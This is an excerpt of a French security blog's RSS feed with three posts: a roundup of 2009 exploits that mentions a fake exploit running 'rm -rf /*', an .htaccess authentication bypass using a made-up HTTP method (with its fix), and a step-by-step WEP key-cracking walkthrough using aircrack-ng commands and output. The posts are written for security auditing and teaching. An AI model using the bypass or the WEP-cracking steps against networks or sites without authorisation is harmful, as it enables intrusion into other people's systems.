		<category><![CDATA[l0phtcrack]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[slowlaris]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195</guid>
		<description><![CDATA[Presque 3 mois sans poster, j&#8217;ai fait une petite rechute. Tiens en parlant de chute, j&#8217;ai une bonne excuse, je me suis cassé l&#8217;olécrane lors d&#8217;une ballade à vélo. Ca explique (en partie) ma non-présence sur le blog :) Cette fracture m&#8217;a encore appris plein de choses en medecine, je reste vraiment persuadé qu&#8217;il faut [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="hihi" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/07/hihi-1.jpg" width="220" height="158" /></p>
<p>Presque 3 mois sans poster, j&#8217;ai fait une petite rechute. Tiens en parlant de chute, j&#8217;ai une bonne excuse, je me suis cassé l&#8217;olécrane lors d&#8217;une ballade à vélo. Ca explique (en partie) ma non-présence sur le blog :)</p>
<p>Cette fracture m&#8217;a encore appris plein de choses en medecine, je reste vraiment persuadé qu&#8217;il faut profiter de chacune des épreuves que la vie nous envoie pour se documenter au maximum dessus. Ainsi je suis devenu expert en <a href="http://www.maitrise-orthop.com/viewPage.do?id=742" target="_blank">brochage / cerclage / haubanage</a>, <a href="http://www.vulgaris-medical.com/encyclopedie/pseudarthrose-3870.html" target="_blank">pseudarthrose</a> et plein <a href="http://books.google.fr/books?id=rocj-Jzt43kC&amp;pg=PA157&amp;lpg=PA157&amp;dq=fracture+ol%C3%A9crane+pseudarthrose&amp;source=bl&amp;ots=R9IZpgykzd&amp;sig=jUvQ8kMq_Up1o7pX8U59cywK03g&amp;hl=fr&amp;ei=f9JhSs2NIdG6jAfLhvX8Dw&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=9" target="_blank">d&#8217;autres choses amusantes</a>.</p>
<p><span id="more-195"></span>
<p>J&#8217;ai quand même gardé un oeil attentif sur l&#8217;ensemble de (belles) choses étant sorties au cours de ces trois mois. Sans être exhaustif, j&#8217;ai trouvé sympa:</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><a href="http://ha.ckers.org/blog/20090617/slowloris-http-dos/" target="_blank">Le Dos Apache Slowlaris.pl</a> qui est vaguement lié à <a href="http://blog.madpowah.org/archives/2009/06/22/index.html#e2009-06-22T00_57_24.txt">TCP Handshake flood</a>.</li>
<li><a href="http://www.milw0rm.com/exploits/8921" target="_blank">L&#8217;exploit phpmyadmin</a>, même s&#8217;il faut que l&#8217;admin ait choisi la wizard installation. Et a priori un <a href="http://www.milw0rm.com/exploits/8992" target="_blank">scanner</a> en a découlé.</li>
<li>L&#8217;énnormmmeeee foin que crée la <a href="http://isc.sans.org/diary.html?storyid=6742" target="_blank">(fake ?) hole openssh</a>. Chacun y est allé de son petit commentaire &laquo;&nbsp;Pas possible ?&nbsp;&raquo;, &laquo;&nbsp;Bruteforce ?&nbsp;&raquo;, &laquo;&nbsp;J&#8217;avais dit qu&#8217;il faut SSH par key !&nbsp;&raquo;. Ca a upgradé en cascade chez la plupart des hosteurs, y compris <a href="http://forum.ovh.com/showthread.php?t=49051" target="_blank">OVH</a>.</li>
<li>La <a href="http://www.googlebig.com/forum/careful-wordpress-all-version-xss-0day-t-18404.html" target="_blank">*faille* &lt;= 8.1 WordPress</a>. Bon il s&#8217;agit juste d&#8217;un XSS mais ca peut conduire à des attaques de phishing efficace.</li>
<li><a href="http://www.nmap.org" target="_blank">La sortie de nmap 5.0</a> qui rajoute tout plein de choses interessantes: Ncat, Ndiff, NSE. A découvrir dans la tarball.</li>
<li>La <a href="http://sqlmap.sourceforge.net/" target="_blank">RC 7 de sqlmap</a> et l&#8217;intégration de sqlmap dans la distribution debian. C&#8217;est vraiment une bonne chose.</li>
<li>Les deux failles navigateurs: <a href="http://www.milw0rm.com/exploits/9108" target="_blank">MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit</a> et <a href="http://www.milw0rm.com/exploits/9137" target="_blank">Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit</a>. Là avec du code malveillant sur un site à trafic, il y <del>avait</del> a vraiment de quoi faire mal.</li>
<li>La sortie de <a href="http://www.l0phtcrack.com/" target="_blank">l0phtcrack 6</a>.</li>
<li>Des <a href="http://www.msuiche.net/2009/06/29/security-20-is-not-even-a-failure-it-is-a-nightmare/" target="_blank">failles sur twitter</a>, et surtout, le <a href="http://www.korben.info/hack-de-twitter-la-suite.html" target="_blank">piratage de twitter</a> qui a mis le serveur de Korben sur les rotules.</li>
<li>Et j&#8217;ai gardé le meilleur pour la fin, le <a href="http://blogs.securiteam.com/index.php/archives/1302" target="_blank">fake exploit OpenOwn.c</a> (basé sur le &laquo;&nbsp;buzz&nbsp;&raquo; de la faille OpenSSH, qui fait un joli rm -rf /*.</li>
<li>Tout plein d&#8217;autres choses que je n&#8217;ai pas le courage de mettre ici :)</li>
</ul>
<p></p>
<p>Passez un bon week end :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Faille dans la création d&#8217;un .htaccess</title>
		<link>http://www.john-jean.com/blog/securite-informatique/faille-dans-la-creation-dun-htaccess-89</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/faille-dans-la-creation-dun-htaccess-89#comments</comments>
		<pubDate>Mon, 22 Dec 2008 22:45:50 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[403]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[htpasswd]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=89</guid>
		<description><![CDATA[Toujours lors de nos audits de sécurité, une faille qui revient très régulièrement est la mauvaise configuration d&#8217;une protection par le biais d&#8217;un htaccess. La plupart des administrateurs ou webmasters fouinent sur le net afin de créer leur .htaccess, et de fait, se retrouvent avec des choses dont ils n&#8217;ont pas réellement besoin, ou en [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.john-jean.com/apache_logo_medium.png" alt="Faille htaccess" width="165" height="114" /> <a title="Cracker clé Wep" href="http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37" target="_blank">Toujours lors de nos audits de sécurité</a>, une faille qui revient très régulièrement est la mauvaise configuration d&#8217;une protection par le biais d&#8217;un <a title="Gestion htaccess dans apache" href="http://httpd.apache.org/docs/1.3/howto/htaccess.html" target="_blank">htaccess</a>. La plupart des administrateurs ou webmasters fouinent sur le net afin de créer leur .htaccess, et de fait, se retrouvent avec des choses dont ils n&#8217;ont pas réellement besoin, ou en tout cas qu&#8217;ils n&#8217;ont pas tout à fait compris. Bon, je pense que mon teasing a fait son petit effet, y&#8217;a plus qu&#8217;à cliquer sur le lien suivant pour lire la suite.</p>
<p><span id="more-89"></span></p>
<p>Bon j&#8217;avoue, j&#8217;ai un peu triché, derrière ce titre racoleur se trouve une erreur de configuration assez grossière, mais que l&#8217;on retrouve, sans exagérer dans 70% des cas. Le premier responsable de cette faille est, il me semble, le site <a href="http://www.commentcamarche.net/" target="_blank">http://www.commentcamarche.net/</a>. Pourquoi ca ? Simplement parce qu&#8217;ils sortent premier sur la recherche &laquo;&nbsp;<a href="http://www.google.fr/search?hl=fr&amp;q=creation+htaccess&amp;btnG=Recherche+Google&amp;meta=&amp;aq=f&amp;oq=" target="_blank">Création htaccess</a>&laquo;&nbsp;.</p>
<p>Et comment nous proposent-ils de créer un htaccess ?<br />
Je cite:</p>
<pre class="code">ErrorDocument 403 http://www.commentcamarche.net/accesrefuse.php3
AuthUserFile /repertoire/de/votre/fichier/.FichierDeMotDePasse
AuthGroupFile /dev/null
AuthName "Accès sécurisé au site CCM"
AuthType Basic
&lt;LIMIT GET POST&gt;
Require valid-user
&lt;/LIMIT&gt;</pre>
<p>Donc si l&#8217;on fait un tour rapide:</p>
<ul>
<li>La première ligne donne la page où l&#8217;on doit rediriger lors d&#8217;une 403 (Erreur d&#8217;auth ou deny from all par exemple)</li>
<li>La seconde donne le chemin du fichier contenant les mots de passe</li>
<li>La troisième le chemin du fichier de groupe</li>
<li>La quatrième, c&#8217;est le wording du prompt login / pass</li>
<li>La cinquième donne le mode d&#8217;authentification, dans ce cas auth basic (mod_auth_basic)</li>
<li>Enfin, les trois dernières expliquent que pour exécuter les requêtes GET et POST, il faut être un utilisateur authentifié.</li>
</ul>
<p>Tout cela est assez schématisé, mais l&#8217;idée est là. Donc si je tente d&#8217;accéder à la page protégée, j&#8217;effectuerais une requête de type:</p>
<pre class="code">GET http://www.example.com/admin/index.php HTTP/1.0</pre>
<p>Et je vais donc atterir sur une 401 Authorization Required. Où se situe l&#8217;astuce ? Apache ne gère pas correctement les requêtes mal formée. Je m&#8217;explique, si à la place de faire un GET ou un POST, je fais un:</p>
<pre class="code">JOHN http://www.example.com/admin/index.php HTTP/1.0</pre>
<p>Apache me renverra le contenu de la page présente derrière /admin/index.php (200). Lorsque je dis que 70% des sites sont faillibles, c&#8217;est tellement il est facile pour un webmaster paresseux de réaliser cette configuration. htaccess permet de modifier localement la configuration d&#8217;apache, du coup chaque webmaster peut créer sa propre faille en suivant les conseils d&#8217;un site généraliste comme commentcamarche. Deux coupables: le webmaster car il dépose une config qu&#8217;il ne comprend pas et Apache car il interprète les requêtes mal formée comme étant des GET. Grosso-modo, il est possible pour le premier venu d&#8217;aller se balader sur les backoffices en forgeant simplement sa requête à base de JOHN.</p>
<p>Comment patchons nous cette faille ?<br />
Tout simplement en ôtant de notre htaccess la limit GET, POST. En effet, aucun intérêt de limiter à GET et POST le require valid-user si ce dernier est effectivement nécessaire. D&#8217;ailleurs dans les <a title="Configuration Apache htaccess" href="http://httpd.apache.org/docs/2.2/mod/core.html#limit" target="_blank">préconisations globales d&#8217;apache</a>, ils recommandent de ne pas utiliser les limit lors de la création de htaccess. Je cite:</p>
<blockquote><p>Access controls are normally effective for     <strong>all</strong> access methods, and this is the usual     desired behavior. <strong>In the general case, access control     directives should not be placed within a     <code class="directive">&lt;Limit&gt;</code> section.</strong></p>
<p>The purpose of the <code class="directive">&lt;Limit&gt;</code> directive is to restrict the effect of the access controls to the     nominated HTTP methods. For all other methods, the access     restrictions that are enclosed in the <code class="directive">&lt;Limit&gt;</code> bracket <strong>will have no     effect</strong>. The following example applies the access control     only to the methods <code>POST</code>, <code>PUT</code>, and     <code>DELETE</code>, leaving all other methods unprotected.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/faille-dans-la-creation-dun-htaccess-89/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Cracker une clé WEP avec une carte Intel Corporation PRO/Wireless 3945ABG</title>
		<link>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37#comments</comments>
		<pubDate>Sun, 21 Dec 2008 19:18:01 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[aireplay]]></category>
		<category><![CDATA[airmon]]></category>
		<category><![CDATA[airodump]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[clé]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[Informatique]]></category>
		<category><![CDATA[wep]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=37</guid>
		<description><![CDATA[Pour les audits de sécurité informatique, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est BackTrack. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.john-jean.com/wifi_icon.jpg" alt="Logo Wifi" width="165" height="114" /> Pour les <a title="audit securite" href="http://www.wargan.com" target="_blank">audits de sécurité informatique</a>, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack</a>. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai googlé pour voir si un endroit recensait les méthodes d&#8217;attaques avec cette carte, et je n&#8217;ai pas trouvé de résultat pertinent. J&#8217;ai donc entrepris de rédiger un HowTo afin que cela puisse servir aux personnes moins expertes, en tout cas moins patientes et qui entreprendraient de tester la sécurité de leur réseau.</p>
<p><span id="more-37"></span>Il y a deux méthodes pour analyser les données: soit l&#8217;on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d&#8217;injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack 3</a> optimise assez largement les algos pour cracker, il n&#8217;est plus nécessaire d&#8217;avoir beaucoup d&#8217;IVs pour décrypter une clé WEP.</p>
<p>Après avoir booté sur le LiveCD, voici comment cela se présente:</p>
<p>// Tout d&#8217;abord on charge le driver pour la fameuse carte<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # modprobe -r iwl3945<br />
bt ~ # modprobe ipwraw</span></span></p>
<p><span style="font-size: small;">/</span>/ On la passe en mode monitor<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0</span></span></p>
<p>// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng wifi0</span></span></p>
<p>// Le but est de prendre celle qui a le plus de beacons, et lorsque l&#8217;on choisit celle-ci, on repère bien le channel, le BSSID et l&#8217;ESSID. Dans mon cas, supposons:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Channel: 11<br />
BSSID: 00:01:02:03:04:05<br />
ESSID: RESEAU-CRYPT</span></span></p>
<p>A partir d&#8217;ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d&#8217;emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.</p>
<p>// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d&#8217;abord, je vais m&#8217;auth sur le système distant (-e représente le SSID de la cible, -h représente l&#8217;adresse Mac source, généralement, nous):<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0</span></span></p>
<p>Généralement cette commande doit vous retourner:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: small;">b<span style="font-size: x-small;">t ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:56:39  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.</span></span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">11:56:39  Sending Authentication Request (Open System) [ACK]<br />
11:56:39  Authentication successful<br />
11:56:39  Sending Association Request [ACK]<br />
11:56:39  Association successful (AID: 1)</span></span></p>
<p>Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:55:23  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:55:23  wifi0 is on channel 12, but the AP uses channel 11</span></span></p>
<p>Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0 11<br />
wifi0           Centrino a/b/g  ipwraw-ng (monitor mode enabled)</span></span></p>
<p>//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39  Association successful (AID: 1).  Nous allons désormais générer une keystream valide afin de forger notre packet d&#8217;injection:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0<br />
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)<br />
11:57:55  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:57:55  Waiting for a data packet&#8230;<br />
Read 2791 packets&#8230;</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Size: 371, FromDS: 0, ToDS: 1 (WEP)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">BSSID  =  00:01:02:03:04:05<br />
Dest. MAC  =  FF:FF:FF:FF:FF:FF<br />
Source MAC  =  BLABLA</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">0&#215;0000:  0841 3a01 0016 3810 7484 0013 ce8a 8259  .A:&#8230;8.t&#8230;&#8230;Y<br />
0&#215;0010:  ffff ffff ffff 1000 0100 0000 2f23 a566  &#8230;&#8230;&#8230;&#8230;/#.f<br />
0&#215;0020:  8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398  &#8230;3,&#8230;.e.y~.s.<br />
0&#215;0030:  42fc a81c e682 179c ac10 f1a3 d83e 3770  B&#8230;&#8230;&#8230;&#8230;&gt;7p<br />
0&#215;0040:  a3ff cb34 62e0 e232 3e17 8340 544b ee1d  &#8230;4b..2&gt;..@TK..<br />
0&#215;0050:  f06c a543 3b51 05d6 bdb0 a10a a159 4fbd  .l.C;Q&#8230;&#8230;.YO.<br />
0&#215;0060:  2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6  $&#8230;X&#8230;.r&#8230;.).<br />
0&#215;0070:  6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9  b4..K&#8230;&#8230;&amp;V&#8230;<br />
0&#215;0080:  5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1  ].&#8217;.E:.6&#8230;|.?..<br />
0&#215;0090:  2813 b8e4 a24c 3bce dc98 2be2 6a79 c313  (&#8230;.L;&#8230;+.jy..<br />
0x00a0:  f530 7596 4430 958d 2406 de88 7664 481f  .0u.D0..$&#8230;vdH.<br />
0x00b0:  7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949  |&#8230;&#8230;o&#8230;&#8230;.I<br />
0x00c0:  b12e 6507 cab2 6619 d6d8 9a1c a018 720c  ..e&#8230;f&#8230;&#8230;.r.<br />
0x00d0:  e004 2c4f 533b 1326 0c57 0006 2950 e468  ..,OS;.&amp;.W..)P.h<br />
&#8212; CUT &#8212;</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Use this packet ? y</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Saving chosen packet in replay_src-0726-115911.cap<br />
11:59:20  Data packet found!<br />
11:59:20  Sending fragmented packet<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 384 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 1500 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
Saving keystream in fragment-0726-115920.xor<br />
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream</span></span></p>
<p>//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d&#8217;injection. Packetforge-ng est là pour ca.<br />
//arp définit le type d&#8217;attaque<br />
//-y passe le fragment à utiliser généré par airplay<br />
//-a adresse MAC de la cible (BSSID)<br />
//-h adresse MAC de l&#8217;attaquant<br />
//-k notre adresse ip suppossée<br />
//-l adresse ip supposée du routeur<br />
//-w permet d&#8217;écrire le packet d&#8217;injection final<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">packetforge-ng  &#8211;arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap<br />
Wrote packet  to: alice.cap</span></span></p>
<p>//Essayons maintenant d&#8217;injecter des données histoire de voir si tout a fonctionné:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0<br />
12:04:07  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
Saving ARP requests in replay_arp-0726-120407.cap<br />
You should also start airodump-ng to capture replies.<br />
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets&#8230;(500 pps)</span></span></p>
<p>Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes.  Il faut parfois se ré-authentifier avant de lancer l&#8217;injection de donnée. Vous pouvez stopper l&#8217;injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:</p>
<p>// On sniffe l&#8217;interface sur laquelle nous avons travaillé:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng -w capture &#8211;channel 11 wifi0</span></span></p>
<p>// Les datas ne bougent alors pas beaucoup. On injecte donc les données:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0</span></span></p>
<p>//Enfin, on lance, en parallèle à l&#8217;envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n&#8217;est pas grave si lorsque vous lancez le crack il n&#8217;y a pas encore assez d&#8217;IVs, il est reloadé régulièrement.</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aircrack-ng capture-01.cap<br />
Opening capture-01.cap<br />
Read 121863 packets.</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">#  BSSID              ESSID                     Encryption</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">1  RESEAU-CRYPT2                   No data &#8211; WEP or WPA<br />
2  RESEAU-CRYPT3                   No data &#8211; WEP or WPA<br />
3  00:01:02:03:04:05               RESEAU-CRYPT              WEP (33689 IVs)<br />
4  RESEAU-CRYPT4                   No data &#8211; WEP or WPA<br />
5  RESEAU-CRYPT5                   None (0.0.0.0)<br />
6  RESEAU-CRYPT6                   No data &#8211; WEP or WPA<br />
7  RESEAU-CRYPT7                   No data &#8211; WEP or WPA</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Index number of target network ? 3</span></span></p>
<p>// On selectionne le ESSID sur lequel on a travaillé, et là magie:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Aircrack-ng 1.0 rc1 r1085</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">[00:00:03] Tested 1339440 keys (got 33677 IVs)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KB    depth   byte(vote)<br />
0    1/  2   2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)<br />
1    0/  1   A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)<br />
2    0/  1   FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)<br />
3    0/  1   BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)<br />
4    0/  2   3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)<br />
5    0/  1   A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)<br />
6    1/  2   16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)<br />
7    0/  2   7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)<br />
8    0/  1   75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)<br />
9    0/  1   F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)<br />
10   17/ 10   E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)<br />
11    0/  2   AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)<br />
12    0/  1   A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KEY FOUND! [blabla]<br />
Decrypted correctly: 100%</span></span></p>
<p>Si les suites air* ne vous sont pas familières, je vous conseille d&#8217;aller vous balader par ici:<br />
<a href="http://linux.die.net/man/1/airmon-ng" target="_blank">http://linux.die.net/man/1/airmon-ng</a><br />
<a href="http://linux.die.net/man/1/airodump-ng" target="_blank">http://linux.die.net/man/1/airodump-ng</a><br />
<a href="http://linux.die.net/man/1/aireplay-ng" target="_blank">http://linux.die.net/man/1/aireplay-ng</a><br />
<a href="http://linux.die.net/man/1/packetforge-ng" target="_blank">http://linux.die.net/man/1/packetforge-ng</a><br />
<a href="http://linux.die.net/man/1/aircrack-ng" target="_blank">http://linux.die.net/man/1/aircrack-ng</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
